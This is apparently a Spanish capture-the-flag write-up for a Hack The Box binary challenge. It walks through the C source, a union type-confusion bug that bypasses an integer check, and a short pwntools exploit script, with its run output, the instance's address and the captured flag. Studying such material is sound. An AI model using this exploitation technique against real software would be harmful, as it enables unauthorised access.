Entity
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado chall
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Si nos conectamos a la instancia remota, vemos lo siguiente:
$ nc 134.122.106.203 30576
Something strange is coming out of the TV..
(T)ry to turn it off
(R)un
(C)ry
>>
Nada explicativo…
Análisis de código estático
Esta vez, se nos proporciona también el código fuente original (chall.c
):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static union {
unsigned long long integer;
char string[8];
} DataStore;
typedef enum {
STORE_GET,
STORE_SET,
FLAG
} action_t;
typedef enum {
INTEGER,
STRING
} field_t;
typedef struct {
action_t act;
field_t field;
} menu_t;
menu_t menu() {
menu_t res = { 0 };
char buf[32] = { 0 };
printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'T':
res.act = STORE_SET;
break;
case 'R':
res.act = STORE_GET;
break;
case 'C':
res.act = FLAG;
return res;
default:
puts("\nWhat's this nonsense?!");
exit(-1);
}
printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'L':
res.field = INTEGER;
break;
case 'S':
res.field = STRING;
break;
default:
printf("\nYou are doomed!\n");
exit(-1);
}
return res;
}
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}
}
void get_field(field_t f) {
printf("\nAnything else to try?\n\n>> ");
switch (f) {
case INTEGER:
printf("%llu\n", DataStore.integer);
break;
case STRING:
printf("%.8s\n", DataStore.string);
break;
}
}
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
bzero(&DataStore, sizeof(DataStore));
printf("\nSomething strange is coming out of the TV..\n");
while (1) {
menu_t result = menu();
switch (result.act) {
case STORE_SET:
set_field(result.field);
break;
case STORE_GET:
get_field(result.field);
break;
case FLAG:
get_flag();
break;
}
}
}
Básicamente, existe un menú en el que podemos elegir si poner un valor, obtener un valor o solicitar la flag.
Para conseguir la flag, necesitamos que result.field
tenga el valor 13371337
:
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}
Sin embargo, no podemos poner este valor especial mediante set_field
:
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}
}
Encontrando el fallo
El problema está en el uso de esta estructura de datos:
static union {
unsigned long long integer;
char string[8];
} DataStore;
El código anterior indica al programa que DataStore
se puede leer como unsigned long long
y como char[8]
. En otras palabras, DataStore.integer
y DataStore.string
comparten la misma dirección de memoria, su valor en binario es el mismo.
Por tanto, podemos introducir 13371337
en forma de string (en formato bytes, little-endian), que no se verifica en set_field
.
Desarrollo del exploit
Para llevar a cabo esto, podemos hacer uso de un script con pwntools
:
def main():
p = get_process()
p.sendlineafter(b'>> ', b'T')
p.sendlineafter(b'>> ', b'S')
p.sendlineafter(b'>> ', p64(13371337))
p.sendlineafter(b'>> ', b'C')
print(p.recvline().decode())
p.close()
Flag
Y aquí tenemos la flag:
$ python3 solve.py 134.122.106.203:30576
[*] './entity'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 134.122.106.203 on port 30576: Done
HTB{th3_3nt1ty_0f_htb00_i5_5t1ll_h3r3}
[*] Closed connection to 134.122.106.203 port 30576
El exploit completo se puede encontrar aquí: solve.py
.